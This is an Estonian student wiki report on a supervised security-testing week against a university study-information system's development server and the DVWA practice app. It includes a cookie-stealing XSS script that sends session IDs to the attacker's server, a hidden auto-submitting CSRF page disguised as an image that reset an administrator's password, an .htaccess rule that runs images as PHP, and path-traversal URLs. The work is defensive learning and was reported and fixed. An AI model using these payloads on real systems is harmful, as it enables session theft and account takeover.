itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

=== Soovitus ===
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult näiteks:
<li>.doc
<li>.docx
<li>.pdf

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlesime selle kuulajaskonnale.

[[Media:Security_team_presentation.ppt]]

Video (meie esitlus on alates 11:20'st):

http://echo360.e-uni.ee/ess/echo/presentation/da8c32af-52d0-4a02-85fa-24f9323f8ce9

== Arvamused intensiivõppe nädala kohta ==

<b>Alo:</b> Intensiivõppe nädal oli väga huvitav kogemus, nädalaga sai õpitud palju uut ja huvitavat. Meeskonnatöö sujus hästi ja nädala algul püsitatud eesmärgid said täidetud. Isiklikult soovitan intensiivõppe nädalal osaleda kõigil kellel vähegi võimalik.

<b>Sander:</b> Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.

<b>Urmo:</b> Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.

<b>Taavi:</b>Intensiivõppenädal on väga hea võimalus lühikese ajaperioodiga omandada väga palju uusi ja huvitavaid teadmisi ning oskusi.Kindlasti soovitan kõigile intensiivõppenädalal osalemist.Ärge olge heidutatud ka inimesed kes arvavad, et neil on vähe või puudulikud oskused või teadmised, intensiivõppenädalal ei ole eeldatud, et te juba oskate asju vaid see nädal ongi õppimiseks. Tore kogemus ja kõik järgmine aasta osalema.

<b>Matis:</b> Olin veel viimase hetkeni täiesti kahe vahel, et kas minna intensiivõppe nädalale või mitte. Siiski otsustasin minna ja olen väga väga rahul, et sedasi otsustasin. Sain väga palju uusi teadmisi erinevate testprogrammide ja -keskkondade kasutamise kohta. Hea kogemus ka tiimiga töötada, ülesandeid jagada ja üldisel koostööl. Soovitan kindlasti ka teistel tudengitel osaleda intensiivõppe nädalal. Väga hea võimalus reaalseid ülesandeid ja probleeme, mis võivad tulevikus ette tulla, läbi teha.

== Kasutatud materjalid ==
http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

== Tegijad ==
:Alo Konno A21
:Urmo Lihten A21
:Taavi Podžuks A22
:Matis Alliksoo A22
:Sander Saarm A22

== Juhendajad ==
Täname oma juhendajaid:
:Mart Mangus
:Margus Ernits
:Valter Kungla

Security team

2012-03-30T13:48:37Z

Mallikso: /* 1. päev - Materjalidega tutvumine */

== 1. päev - Materjalidega tutvumine ==

<h1>Valmimisel!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Media:A9.pdf]] <br>
Taavi esitlus [[Media:A5.pdf]] <br>
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] <br>
Matise esitlus [[Media:Security Misconfiguration.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filmi
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploadida.
<br>Sellises kohas võiks olla süsteem tehtud <b>whitelisti</b> põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
